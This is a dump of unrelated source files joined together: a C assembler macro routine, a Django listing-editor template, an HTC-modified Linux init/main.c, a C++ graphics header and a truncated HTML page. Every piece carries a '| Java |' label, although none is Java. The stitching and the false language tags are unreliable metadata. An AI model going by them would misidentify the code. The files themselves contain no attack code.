for (j = i; pi->macro_line->line[i] != '\0'; i++)
{
/* check for register place holders */
if (pi->macro_line->line[i] == '@')
{
i++;
if (!isdigit(pi->macro_line->line[i]))
print_msg(pi, MSGTYPE_ERROR, "@ must be followed by a number");
else if ((pi->macro_line->line[i] - '0') >= macro_arg_count)
print_msg(pi, MSGTYPE_ERROR, "Missing macro argument (for @%c)", pi->macro_line->line[i]);
else
{
/* and replace them with given registers */
strcat(&buff[j], macro_args[pi->macro_line->line[i] - '0']);
j += strlen(macro_args[pi->macro_line->line[i] - '0']);
}
}
else if (pi->macro_line->line[i] == ';')
{
strncat(buff, "\n", 1);
break;
}
else
{
strncat(buff, &pi->macro_line->line[i], 1);
}
}
ok = parse_line(pi, buff);
if (ok)
{
if ((pi->pass == PASS_2) && pi->list_line && pi->list_on)
fprintf(pi->list_file, " %s\n", pi->list_line);
if (pi->error_count >= pi->max_errors)
{
print_msg(pi, MSGTYPE_MESSAGE, "Maximum error count reached. Exiting...");
ok = False;
break;
}
}
}
pi->macro_line = old_macro_line;
pi->macro_call = macro_call->prev_on_stack;
if (rest_line)
free(line);
return(ok);
}
struct macro_label *get_macro_label(char *line, struct macro *macro)
{
char *temp;
struct macro_label *macro_label;
for (macro_label = macro->first_label; macro_label; macro_label = macro_label->next)
{
temp = strstr(line,macro_label->label);
if (temp)
{
return macro_label;
}
}
return NULL;
}
/* end of macro.c */
| Java |
{% extends "base.html" %}
{% load staticfiles %}
{% block head_title %}{% block listing_head_title %}{% endblock %}{% endblock %}
{% block content %}
<div id="account" class="ui centered two column grid stackable container" style="margin-top: 20px;">
<div class="four wide column">
<div class="ui large one item menu">
<a href="{% url 'accounts:listings' %}" class="ui item">
<i class="ui arrow left icon"></i>
Back to Dashboard
</a>
</div>
<div class="ui large vertical fluid menu">
<div class="header center aligned item">
<div class="ui center aligned small header">
Listing Steps
</div>
</div>
<a href="{% url 'listings:edit_listing_description' listing_id=listing.id %}" class=" {% if request.resolver_match.url_name == "edit_listing_description" %}active{% endif %} item">
Description
{% if listing.description_complete %}
<i class="ui green checkmark icon"></i>
{% else %}
<i class="ui grey plus icon"></i>
{% endif %}
</a>
<a href="{% url 'listings:edit_listing_location' listing_id=listing.id %}" class="{% if request.resolver_match.url_name == "edit_listing_location" %}active{% endif %} item">
Location
{% if listing.location_complete %}
<i class="ui green checkmark icon"></i>
{% else %}
<i class="ui grey plus icon"></i>
{% endif %}
</a>
<a href="{% url 'listings:edit_listing_details' listing_id=listing.id %}" class="{% if request.resolver_match.url_name == "edit_listing_details" %}active{% endif %} item">
Details
{% if listing.details_complete %}
<i class="ui green checkmark icon"></i>
{% else %}
<i class="ui grey plus icon"></i>
{% endif %}
</a>
<a href="{% url 'listings:edit_listing_photos' listing_id=listing.id %}" class="{% if request.resolver_match.url_name == "edit_listing_photos" %}active{% endif %} item">
Photos
{% if listing.photos_complete %}
<i class="ui green checkmark icon"></i>
{% else %}
<i class="ui grey plus icon"></i>
{% endif %}
</a>
<a href="{% url 'listings:edit_listing_calendar' listing_id=listing.id %}" class="{% if request.resolver_match.url_name == "edit_listing_calendar" %}active{% endif %} item">
Calendar
{% if listing.calendar_complete %}
<i class="ui green checkmark icon"></i>
{% else %}
<i class="ui grey plus icon"></i>
{% endif %}
</a>
</div>
<div class="ui card">
<div class="content">
{% if listing.listing_complete %}
<div class="ui center aligned header">
Ready to publish!
</div>
<div class="description">
You are ready to publish your listing. Don't worry you can come back and edit it later.
</div>
{% elif listing.published %}
<div class="ui center aligned header">
Currently published
</div>
<div class="description">
This listing is currently published and publicly accessible. You can temporarily unpublish the listing.
</div>
{% else %}
<div class="ui center aligned header">
Steps remaining: {{ listing.steps_remaining }}
</div>
<div class="description">
To publish your listing complete the steps above. You can always come back and finish it later.
</div>
{% endif %}
</div>
<div class="extra content">
{% if listing.published %}
<a href="{% url "listings:unpublish_listing" listing_id=listing.id %}" class="ui orange button">Unpublish</a>
{% elif listing.listing_complete %}
<a href="{% url "listings:publish_listing" listing_id=listing.id %}" class="ui green button">Publish</a>
{% else %}
<div class="ui disabled button">Publish</div>
{% endif %}
<a href="{% url "listings:delete_listing" listing_id=listing.id %}" id="delete-listing" class="ui red delete button">Delete</a>
</div>
</div>
</div>
<div class="nine wide column">
{% block listing_content %}
{% endblock %}
</div>
</div>
<div id="confirm_delete" class="ui small modal">
<div class="header">
Delete listing
</div>
<div class="content">
<p>Are you sure you want to delete this listing? You will not be able to retrieve it if deleted.</p>
</div>
<div class="actions">
<div class="ui cancel button">
Cancel
</div>
<div class="ui negative approve right labeled icon button">
Yes
<i class="remove icon"></i>
</div>
</div>
</div>
{% endblock %}
{% block scripts %}
{% block listing_scripts %}
{% endblock %}
<script type="text/javascript">
$('#delete-listing').click(function(){
event.preventDefault();
var deleteLink = $(this).attr("href");
var row = $(this).parents('.ui.row');
var divider = row.prev('.divider');
$('#confirm_delete').modal({
onApprove : function() {
$.get(deleteLink);
divider.hide("medium", function() {
$(this).remove();
});
row.hide("medium", function() {
$(this).remove();
});
}
})
.modal('show');
});
</script>
{% endblock %} | Java |
/*
* linux/init/main.c
*
* Copyright (C) 1991, 1992 Linus Torvalds
*
* GK 2/5/95 - Changed to support mounting root fs via NFS
* Added initrd & change_root: Werner Almesberger & Hans Lermen, Feb '96
* Moan early if gcc is old, avoiding bogus kernels - Paul Gortmaker, May '96
* Simplified starting of init: Michael A. Griffith <grif@acm.org>
*/
#define DEBUG
#include <linux/types.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/stackprotector.h>
#include <linux/string.h>
#include <linux/ctype.h>
#include <linux/delay.h>
#include <linux/ioport.h>
#include <linux/init.h>
#include <linux/initrd.h>
#include <linux/bootmem.h>
#include <linux/acpi.h>
#include <linux/tty.h>
#include <linux/percpu.h>
#include <linux/kmod.h>
#include <linux/vmalloc.h>
#include <linux/kernel_stat.h>
#include <linux/start_kernel.h>
#include <linux/security.h>
#include <linux/smp.h>
#include <linux/profile.h>
#include <linux/rcupdate.h>
#include <linux/moduleparam.h>
#include <linux/kallsyms.h>
#include <linux/writeback.h>
#include <linux/cpu.h>
#include <linux/cpuset.h>
#include <linux/cgroup.h>
#include <linux/efi.h>
#include <linux/tick.h>
#include <linux/interrupt.h>
#include <linux/taskstats_kern.h>
#include <linux/delayacct.h>
#include <linux/unistd.h>
#include <linux/rmap.h>
#include <linux/mempolicy.h>
#include <linux/key.h>
#include <linux/buffer_head.h>
#include <linux/page_cgroup.h>
#include <linux/debug_locks.h>
#include <linux/debugobjects.h>
#include <linux/lockdep.h>
#include <linux/kmemleak.h>
#include <linux/pid_namespace.h>
#include <linux/device.h>
#include <linux/kthread.h>
#include <linux/sched.h>
#include <linux/signal.h>
#include <linux/idr.h>
#include <linux/kgdb.h>
#include <linux/ftrace.h>
#include <linux/async.h>
#include <linux/kmemcheck.h>
#include <linux/sfi.h>
#include <linux/shmem_fs.h>
#include <linux/slab.h>
#include <linux/perf_event.h>
#include <linux/file.h>
#include <linux/ptrace.h>
#include <linux/blkdev.h>
#include <linux/elevator.h>
#include <linux/sched_clock.h>
#include <linux/random.h>
#include <asm/io.h>
#include <asm/bugs.h>
#include <asm/setup.h>
#include <asm/sections.h>
#include <asm/cacheflush.h>
#ifdef CONFIG_X86_LOCAL_APIC
#include <asm/smp.h>
#endif
#ifdef CONFIG_HTC_EARLY_RTB
#include <linux/msm_rtb.h>
#endif
static int kernel_init(void *);
extern void init_IRQ(void);
extern void fork_init(unsigned long);
extern void mca_init(void);
extern void sbus_init(void);
extern void radix_tree_init(void);
#ifndef CONFIG_DEBUG_RODATA
static inline void mark_rodata_ro(void) { }
#endif
#ifdef CONFIG_TC
extern void tc_init(void);
#endif
bool early_boot_irqs_disabled __read_mostly;
enum system_states system_state __read_mostly;
EXPORT_SYMBOL(system_state);
#define MAX_INIT_ARGS CONFIG_INIT_ENV_ARG_LIMIT
#define MAX_INIT_ENVS CONFIG_INIT_ENV_ARG_LIMIT
extern void time_init(void);
void (*__initdata late_time_init)(void);
extern void softirq_init(void);
char __initdata boot_command_line[COMMAND_LINE_SIZE];
char *saved_command_line;
char *hashed_command_line;
static char *static_command_line;
static char *execute_command;
static char *ramdisk_execute_command;
unsigned int reset_devices;
EXPORT_SYMBOL(reset_devices);
static int __init set_reset_devices(char *str)
{
reset_devices = 1;
return 1;
}
__setup("reset_devices", set_reset_devices);
static const char * argv_init[MAX_INIT_ARGS+2] = { "init", NULL, };
const char * envp_init[MAX_INIT_ENVS+2] = { "HOME=/", "TERM=linux", NULL, };
static const char *panic_later, *panic_param;
extern const struct obs_kernel_param __setup_start[], __setup_end[];
static int __init obsolete_checksetup(char *line)
{
const struct obs_kernel_param *p;
int had_early_param = 0;
p = __setup_start;
do {
int n = strlen(p->str);
if (parameqn(line, p->str, n)) {
if (p->early) {
if (line[n] == '\0' || line[n] == '=')
had_early_param = 1;
} else if (!p->setup_func) {
pr_warn("Parameter %s is obsolete, ignored\n",
p->str);
return 1;
} else if (p->setup_func(line + n))
return 1;
}
p++;
} while (p < __setup_end);
return had_early_param;
}
unsigned long loops_per_jiffy = (1<<12);
EXPORT_SYMBOL(loops_per_jiffy);
static int __init debug_kernel(char *str)
{
console_loglevel = 10;
return 0;
}
static int __init quiet_kernel(char *str)
{
console_loglevel = 4;
return 0;
}
early_param("debug", debug_kernel);
early_param("quiet", quiet_kernel);
static int __init loglevel(char *str)
{
int newlevel;
if (get_option(&str, &newlevel)) {
console_loglevel = newlevel;
return 0;
}
return -EINVAL;
}
early_param("loglevel", loglevel);
static int __init repair_env_string(char *param, char *val, const char *unused)
{
if (val) {
if (val == param+strlen(param)+1)
val[-1] = '=';
else if (val == param+strlen(param)+2) {
val[-2] = '=';
memmove(val-1, val, strlen(val)+1);
val--;
} else
BUG();
}
return 0;
}
static int __init unknown_bootoption(char *param, char *val, const char *unused)
{
repair_env_string(param, val, unused);
if (obsolete_checksetup(param))
return 0;
if (strchr(param, '.') && (!val || strchr(param, '.') < val))
return 0;
if (panic_later)
return 0;
if (val) {
unsigned int i;
for (i = 0; envp_init[i]; i++) {
if (i == MAX_INIT_ENVS) {
panic_later = "Too many boot env vars at `%s'";
panic_param = param;
}
if (!strncmp(param, envp_init[i], val - param))
break;
}
envp_init[i] = param;
} else {
unsigned int i;
for (i = 0; argv_init[i]; i++) {
if (i == MAX_INIT_ARGS) {
panic_later = "Too many boot init vars at `%s'";
panic_param = param;
}
}
argv_init[i] = param;
}
return 0;
}
static int __init init_setup(char *str)
{
unsigned int i;
execute_command = str;
for (i = 1; i < MAX_INIT_ARGS; i++)
argv_init[i] = NULL;
return 1;
}
__setup("init=", init_setup);
static int __init rdinit_setup(char *str)
{
unsigned int i;
ramdisk_execute_command = str;
for (i = 1; i < MAX_INIT_ARGS; i++)
argv_init[i] = NULL;
return 1;
}
__setup("rdinit=", rdinit_setup);
#ifndef CONFIG_SMP
static const unsigned int setup_max_cpus = NR_CPUS;
#ifdef CONFIG_X86_LOCAL_APIC
static void __init smp_init(void)
{
APIC_init_uniprocessor();
}
#else
#define smp_init() do { } while (0)
#endif
static inline void setup_nr_cpu_ids(void) { }
static inline void smp_prepare_cpus(unsigned int maxcpus) { }
#endif
static void __init setup_command_line(char *command_line)
{
saved_command_line = alloc_bootmem(strlen (boot_command_line)+1);
static_command_line = alloc_bootmem(strlen (command_line)+1);
strcpy (saved_command_line, boot_command_line);
strcpy (static_command_line, command_line);
}
#define RAW_SN_LEN 4
static void __init hash_sn(void)
{
char *p;
unsigned int td_sf = 0;
size_t cmdline_len, sf_len;
cmdline_len = strlen(saved_command_line);
sf_len = strlen("td.sf=");
hashed_command_line = alloc_bootmem(cmdline_len + 1);
strncpy(hashed_command_line, saved_command_line, cmdline_len);
hashed_command_line[cmdline_len] = '\0';
p = saved_command_line;
for (p = saved_command_line; p < saved_command_line + cmdline_len - sf_len; p++) {
if (!strncmp(p, "td.sf=", sf_len)) {
p += sf_len;
if (*p != '0')
td_sf = 1;
break;
}
}
if (td_sf) {
unsigned int i;
size_t sn_len = 0;
for (p = hashed_command_line; p < hashed_command_line + cmdline_len - strlen("androidboot.serialno="); p++) {
if (!strncmp(p, "androidboot.serialno=", strlen("androidboot.serialno="))) {
p += strlen("androidboot.serialno=");
while (*p != ' ' && *p != '\0') {
sn_len++;
p++;
}
p -= sn_len;
for (i = sn_len - 1; i >= RAW_SN_LEN; i--)
*p++ = '*';
break;
}
}
}
}
static __initdata DECLARE_COMPLETION(kthreadd_done);
static noinline void __init_refok rest_init(void)
{
int pid;
const struct sched_param param = { .sched_priority = 1 };
rcu_scheduler_starting();
kernel_thread(kernel_init, NULL, CLONE_FS | CLONE_SIGHAND);
numa_default_policy();
pid = kernel_thread(kthreadd, NULL, CLONE_FS | CLONE_FILES);
rcu_read_lock();
kthreadd_task = find_task_by_pid_ns(pid, &init_pid_ns);
rcu_read_unlock();
sched_setscheduler_nocheck(kthreadd_task, SCHED_FIFO, ¶m);
complete(&kthreadd_done);
init_idle_bootup_task(current);
schedule_preempt_disabled();
cpu_startup_entry(CPUHP_ONLINE);
}
static int __init do_early_param(char *param, char *val, const char *unused)
{
const struct obs_kernel_param *p;
for (p = __setup_start; p < __setup_end; p++) {
if ((p->early && parameq(param, p->str)) ||
(strcmp(param, "console") == 0 &&
strcmp(p->str, "earlycon") == 0)
) {
if (p->setup_func(val) != 0)
pr_warn("Malformed early option '%s'\n", param);
}
}
return 0;
}
void __init parse_early_options(char *cmdline)
{
parse_args("early options", cmdline, NULL, 0, 0, 0, do_early_param);
}
void __init parse_early_param(void)
{
#if defined(CONFIG_EARLY_PRINTK)
void deferred_early_console_init(void);
#endif
static __initdata int done = 0;
static __initdata char tmp_cmdline[COMMAND_LINE_SIZE];
if (done)
return;
strlcpy(tmp_cmdline, boot_command_line, COMMAND_LINE_SIZE);
parse_early_options(tmp_cmdline);
done = 1;
#if defined(CONFIG_EARLY_PRINTK)
deferred_early_console_init();
#endif
}
static void __init boot_cpu_init(void)
{
int cpu = smp_processor_id();
set_cpu_online(cpu, true);
set_cpu_active(cpu, true);
set_cpu_present(cpu, true);
set_cpu_possible(cpu, true);
}
void __init __weak smp_setup_processor_id(void)
{
}
# if THREAD_SIZE >= PAGE_SIZE
void __init __weak thread_info_cache_init(void)
{
}
#endif
static void __init mm_init(void)
{
page_cgroup_init_flatmem();
mem_init();
kmem_cache_init();
percpu_init_late();
pgtable_cache_init();
vmalloc_init();
}
asmlinkage void __init start_kernel(void)
{
char * command_line;
extern const struct kernel_param __start___param[], __stop___param[];
lockdep_init();
smp_setup_processor_id();
debug_objects_early_init();
cgroup_init_early();
local_irq_disable();
early_boot_irqs_disabled = true;
boot_cpu_init();
page_address_init();
pr_notice("%s", linux_banner);
setup_arch(&command_line);
boot_init_stack_canary();
mm_init_owner(&init_mm, &init_task);
mm_init_cpumask(&init_mm);
setup_command_line(command_line);
hash_sn();
setup_nr_cpu_ids();
setup_per_cpu_areas();
smp_prepare_boot_cpu();
build_all_zonelists(NULL, NULL);
page_alloc_init();
pr_notice("Kernel command line: %s\n", hashed_command_line);
parse_early_param();
parse_args("Booting kernel", static_command_line, __start___param,
__stop___param - __start___param,
-1, -1, &unknown_bootoption);
jump_label_init();
setup_log_buf(0);
pidhash_init();
vfs_caches_init_early();
sort_main_extable();
trap_init();
mm_init();
sched_init();
preempt_disable();
if (WARN(!irqs_disabled(), "Interrupts were enabled *very* early, fixing it\n"))
local_irq_disable();
idr_init_cache();
perf_event_init();
rcu_init();
tick_nohz_init();
radix_tree_init();
early_irq_init();
init_IRQ();
tick_init();
init_timers();
hrtimers_init();
softirq_init();
timekeeping_init();
time_init();
sched_clock_postinit();
profile_init();
call_function_init();
WARN(!irqs_disabled(), "Interrupts were enabled early\n");
early_boot_irqs_disabled = false;
local_irq_enable();
kmem_cache_init_late();
console_init();
if (panic_later)
panic(panic_later, panic_param);
lockdep_info();
locking_selftest();
#ifdef CONFIG_BLK_DEV_INITRD
if (initrd_start && !initrd_below_start_ok &&
page_to_pfn(virt_to_page((void *)initrd_start)) < min_low_pfn) {
pr_crit("initrd overwritten (0x%08lx < 0x%08lx) - disabling it.\n",
page_to_pfn(virt_to_page((void *)initrd_start)),
min_low_pfn);
initrd_start = 0;
}
#endif
page_cgroup_init();
debug_objects_mem_init();
kmemleak_init();
setup_per_cpu_pageset();
numa_policy_init();
if (late_time_init)
late_time_init();
sched_clock_init();
calibrate_delay();
pidmap_init();
anon_vma_init();
#ifdef CONFIG_X86
if (efi_enabled(EFI_RUNTIME_SERVICES))
efi_enter_virtual_mode();
#endif
#ifdef CONFIG_X86_ESPFIX64
init_espfix_bsp();
#endif
thread_info_cache_init();
cred_init();
fork_init(totalram_pages);
proc_caches_init();
buffer_init();
key_init();
security_init();
dbg_late_init();
vfs_caches_init(totalram_pages);
signals_init();
page_writeback_init();
#ifdef CONFIG_PROC_FS
proc_root_init();
#endif
cgroup_init();
cpuset_init();
taskstats_init_early();
delayacct_init();
check_bugs();
acpi_early_init();
sfi_init_late();
if (efi_enabled(EFI_RUNTIME_SERVICES)) {
efi_late_init();
efi_free_boot_services();
}
ftrace_init();
rest_init();
}
static void __init do_ctors(void)
{
#ifdef CONFIG_CONSTRUCTORS
ctor_fn_t *fn = (ctor_fn_t *) __ctors_start;
for (; fn < (ctor_fn_t *) __ctors_end; fn++)
(*fn)();
#endif
}
bool initcall_debug;
core_param(initcall_debug, initcall_debug, bool, 0644);
static char msgbuf[64];
static int __init_or_module do_one_initcall_debug(initcall_t fn)
{
ktime_t calltime, delta, rettime;
unsigned long long duration;
int ret;
pr_debug("calling %pF @ %i\n", fn, task_pid_nr(current));
calltime = ktime_get();
ret = fn();
rettime = ktime_get();
delta = ktime_sub(rettime, calltime);
duration = (unsigned long long) ktime_to_ns(delta) >> 10;
pr_debug("initcall %pF returned %d after %lld usecs\n",
fn, ret, duration);
return ret;
}
int __init_or_module do_one_initcall(initcall_t fn)
{
int count = preempt_count();
int ret;
#ifdef CONFIG_HTC_EARLY_RTB
uncached_logk_pc(LOGK_INITCALL, (void *)fn, (void *)(0x00000000));
#endif
if (initcall_debug)
ret = do_one_initcall_debug(fn);
else
ret = fn();
#ifdef CONFIG_HTC_EARLY_RTB
uncached_logk_pc(LOGK_INITCALL, (void *)fn, (void *)(0xffffffff));
#endif
msgbuf[0] = 0;
if (preempt_count() != count) {
sprintf(msgbuf, "preemption imbalance ");
preempt_count() = count;
}
if (irqs_disabled()) {
strlcat(msgbuf, "disabled interrupts ", sizeof(msgbuf));
local_irq_enable();
}
WARN(msgbuf[0], "initcall %pF returned with %s\n", fn, msgbuf);
return ret;
}
extern initcall_t __initcall_start[];
extern initcall_t __initcall0_start[];
extern initcall_t __initcall1_start[];
extern initcall_t __initcall2_start[];
extern initcall_t __initcall3_start[];
extern initcall_t __initcall4_start[];
extern initcall_t __initcall5_start[];
extern initcall_t __initcall6_start[];
extern initcall_t __initcall7_start[];
extern initcall_t __initcall_end[];
static initcall_t *initcall_levels[] __initdata = {
__initcall0_start,
__initcall1_start,
__initcall2_start,
__initcall3_start,
__initcall4_start,
__initcall5_start,
__initcall6_start,
__initcall7_start,
__initcall_end,
};
static char *initcall_level_names[] __initdata = {
"early",
"core",
"postcore",
"arch",
"subsys",
"fs",
"device",
"late",
};
static void __init do_initcall_level(int level)
{
extern const struct kernel_param __start___param[], __stop___param[];
initcall_t *fn;
strcpy(static_command_line, saved_command_line);
parse_args(initcall_level_names[level],
static_command_line, __start___param,
__stop___param - __start___param,
level, level,
&repair_env_string);
for (fn = initcall_levels[level]; fn < initcall_levels[level+1]; fn++)
do_one_initcall(*fn);
}
static void __init do_initcalls(void)
{
int level;
for (level = 0; level < ARRAY_SIZE(initcall_levels) - 1; level++)
do_initcall_level(level);
}
static void __init do_basic_setup(void)
{
cpuset_init_smp();
usermodehelper_init();
shmem_init();
driver_init();
init_irq_proc();
do_ctors();
usermodehelper_enable();
do_initcalls();
random_int_secret_init();
}
static void __init do_pre_smp_initcalls(void)
{
initcall_t *fn;
for (fn = __initcall_start; fn < __initcall0_start; fn++)
do_one_initcall(*fn);
}
void __init load_default_modules(void)
{
load_default_elevator_module();
}
static int run_init_process(const char *init_filename)
{
argv_init[0] = init_filename;
return do_execve(init_filename,
(const char __user *const __user *)argv_init,
(const char __user *const __user *)envp_init);
}
static noinline void __init kernel_init_freeable(void);
static int __ref kernel_init(void *unused)
{
kernel_init_freeable();
async_synchronize_full();
free_initmem();
mark_rodata_ro();
system_state = SYSTEM_RUNNING;
numa_default_policy();
flush_delayed_fput();
if (ramdisk_execute_command) {
if (!run_init_process(ramdisk_execute_command))
return 0;
pr_err("Failed to execute %s\n", ramdisk_execute_command);
}
if (execute_command) {
if (!run_init_process(execute_command))
return 0;
pr_err("Failed to execute %s. Attempting defaults...\n",
execute_command);
}
if (!run_init_process("/sbin/init") ||
!run_init_process("/etc/init") ||
!run_init_process("/bin/init") ||
!run_init_process("/bin/sh"))
return 0;
panic("No init found. Try passing init= option to kernel. "
"See Linux Documentation/init.txt for guidance.");
}
static noinline void __init kernel_init_freeable(void)
{
wait_for_completion(&kthreadd_done);
gfp_allowed_mask = __GFP_BITS_MASK;
set_mems_allowed(node_states[N_MEMORY]);
set_cpus_allowed_ptr(current, cpu_all_mask);
cad_pid = task_pid(current);
smp_prepare_cpus(setup_max_cpus);
do_pre_smp_initcalls();
lockup_detector_init();
smp_init();
#ifdef CONFIG_HTC_EARLY_RTB
htc_early_rtb_init();
#endif
sched_init_smp();
do_basic_setup();
if (sys_open((const char __user *) "/dev/console", O_RDWR, 0) < 0)
pr_err("Warning: unable to open an initial console.\n");
(void) sys_dup(0);
(void) sys_dup(0);
if (!ramdisk_execute_command)
ramdisk_execute_command = "/init";
if (sys_access((const char __user *) ramdisk_execute_command, 0) != 0) {
ramdisk_execute_command = NULL;
prepare_namespace();
}
load_default_modules();
}
| Java |
/***********************************************************************
* d:/Werk/src/csmash-0.3.8.new/conv/parts.h
* $Id: parts.h,v 1.16 2003/07/28 17:03:10 nan Exp $
*
* Copyright by ESESoft.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
*
* The name of the author may not be used to endorse or promote
* products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
***********************************************************************/
#ifndef __wata_ESESoft_9465__parts_h__INCLUDED__
#define __wata_ESESoft_9465__parts_h__INCLUDED__
/***********************************************************************/
#include <algorithm>
#include <vector>
#include "float"
#include "matrix"
#include "affine"
/* __BEGIN__BEGIN__ */
vector4F Affine2Quaternion(affine4F aff);
affine4F Quaternion2Affine(vector4F v, vector4F p);
class edge {
public:
short v0, v1;
short p0, p1;
};
class color4b
{
public:
typedef unsigned char element_t;
typedef unsigned char byte;
enum {
element_size = 4,
};
byte r, g, b, a;
inline color4b() {}
inline color4b(byte i, byte a=255) : r(i), g(i), b(i), a(a) {}
inline color4b(byte r, byte g, byte b, byte a=255) :
r(r), g(g), b(b), a(a) {}
byte* element_array() { return (byte*)this; }
const byte* element_array() const { return (byte*)this; }
void glBind() const { glColor4ubv((const GLubyte*)element_array()); }
};
class color4f
{
public:
typedef unsigned char element_t;
enum {
element_size = 4,
};
float r, g, b, a;
inline color4f() {}
inline color4f(int i, int a=255) : r(i/255.0F), g(i/255.0F), b(i/255.0F), a(a/255.0F) {}
inline color4f(int r, int g, int b, int a=255) :
r(r/255.0F), g(g/255.0F), b(b/255.0F), a(a/255.0F) {}
float* element_array() { return (float*)this; }
const float* element_array() const { return (float*)this; }
void glBind() const { glColor4fv(element_array()); }
};
class colormap
{
public:
typedef color4f color_t;
enum {
map_size = 256,
};
bool load(const char *file);
void fill(const color_t& c) {
std::fill(&map[0], &map[map_size], c);
}
inline color_t& operator [](int i) { return map[i]; }
inline const color_t& operator [](int i) const { return map[i]; }
public:
color_t map[map_size];
};
class polygon;
class polyhedron
{
public:
int numPoints, numPolygons, numEdges;
vector3F *points;
vector3F *texcoord;
short (*polygons)[4];
unsigned char *cindex;
vector3F (*normals)[4];
vector3F *planeNormal;
edge *edges;
char *filename;
GLuint texturename;
colormap cmap;
polyhedron(const char *filename);
~polyhedron();
polyhedron& operator *=(const affine4F &m); //normal vectors are destroyed
inline int polsize(int i) const { return (0 > polygons[i][3]) ? 3 : 4; }
polygon getPolygon(int i) const;
void getNormal();
protected:
void initColormap();
};
/// polygon access object
class polygon
{
friend class polyhedron;
protected:
inline polygon(const polyhedron& parent, int polynum)
: p(parent), num(polynum) {
size = (p.polygons[num][3] < 0) ? 3 : 4;
}
public:
inline int round(int idx) const { return (idx+size)%size; }
inline int pround(int idx) const { return idx%size; }
inline short ri(int idx) const { return p.polygons[num][idx]; }
inline short i(int idx) const { return p.polygons[num][round(idx)]; }
inline const vector3F& rv(int idx) const { return p.points[ri(idx)]; }
inline const vector3F& v(int idx) const { return p.points[i(idx)]; }
inline const vector3F& rst(int idx) const { return p.texcoord[ri(idx)]; }
inline const vector3F& st(int idx) const { return p.texcoord[i(idx)]; }
inline const vector3F& rn(int idx) const { return p.normals[num][idx]; }
inline const vector3F& n(int idx) const { return p.normals[num][round(idx)]; }
inline const vector3F& n(void) const { return p.planeNormal[num]; }
inline const unsigned char c() const { return p.cindex[num]; }
inline short getv(short vidx) const {
for (int k = 0; size > k; ++k) if (vidx == ri(k)) return k;
return -1;
}
inline short gete(const edge&e, int* way) const {
return gete(e.v0, e.v1, way);
}
inline short gete(short v0, short v1, int* way) const {
for (int k = 0; size > k; ++k) {
if (v0 == ri(k)) {
if (v1 == ri(pround(k+1))) {
*way = +1;
return k;
}
else if (v1 == i(k-1)) {
*way = -1;
return k;
}
}
}
return -1;
}
inline GLenum glBeginSize() const {
return (3 == size) ? GL_TRIANGLES : GL_QUADS;
}
public:
const polyhedron& p;
int num;
int size;
};
inline polygon polyhedron::getPolygon(int i) const {
return polygon(*this, i);
}
class affineanim {
public:
int numFrames;
affine4F *matrices;
affineanim(int num);
affineanim(const char *filename);
~affineanim();
inline const affine4F& operator[](int i) const {
return matrices[i];
}
inline affine4F& operator [](int i) {
return matrices[i];
}
};
class affinemotion {
public:
polyhedron ref;
affineanim anim;
affinemotion(const char *ref, const char *anim);
void write(const char *basename);
inline bool valid() const {
return ref.numPoints > 0 && anim.numFrames > 0;
}
};
class quaternionanim {
public:
int numFrames;
std::vector<vector4F> quaternions;
vector3F origin;
quaternionanim(int num);
quaternionanim(const char *filename);
~quaternionanim();
inline const vector4F& operator[](int i) const {
return quaternions[i];
}
inline const vector4F operator[](float i) const {
if ( i == (int)i ) {
return quaternions[(int)i];
} else {
vector4F q1 = quaternions[(int)i];
vector4F q2 = quaternions[(int)i+1];
if ( q1[1]*q2[1]+q1[2]*q2[2]+q1[3]*q2[3] < 0 )
q2 = -q2;
return q1*(1-(i-(int)i)) + q2*(i-(int)i);
}
}
inline vector4F& operator [](int i) {
return quaternions[i];
}
inline vector4F operator[](float i) {
if ( i == (int)i ) {
return quaternions[(int)i];
} else {
vector4F q1 = quaternions[(int)i];
vector4F q2 = quaternions[(int)i+1];
if ( q1[1]*q2[1]+q1[2]*q2[2]+q1[3]*q2[3] < 0 )
q2 = -q2;
return q1*(1-(i-(int)i)) + q2*(i-(int)i);
}
}
};
class quaternionmotion {
public:
polyhedron ref;
quaternionanim anim;
quaternionmotion(const char *ref, const char *anim);
//void write(const char *basename);
inline bool valid() const {
return ref.numPoints > 0 && anim.numFrames > 0;
}
};
class partsmotion
{
public:
int numParts;
static polyhedron **polyparts;
affineanim *origin;
quaternionanim **qanim;
partsmotion(const char *basename);
virtual ~partsmotion();
virtual bool render(int frame, float xdiff, float ydiff, float zdiff);
virtual bool render(double frame, float xdiff, float ydiff, float zdiff);
virtual bool renderWire(int frame, float xdiff, float ydiff, float zdiff);
virtual bool renderWire(double frame, float xdiff, float ydiff, float zdiff);
virtual bool renderArmOnly(double frame, float xdiff, float ydiff, float zdiff);
private:
void drawleg( float xdiff, float ydiff, float zdiff, bool isWireFrame );
void legIK( vector3F hip, vector3F &knee, vector3F &heel, vector3F toe,
float thighLength, float shinLength, float footSize,
bool isWireFrame );
void drawbody( vector3F neck, vector3F waist, bool isWireFrame );
void renderparts( int partsNum, bool isWireFrame );
};
/* __END__END__ */
/***********************************************************************/
#endif
/***********************************************************************
* END OF parts.h
***********************************************************************/
| Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
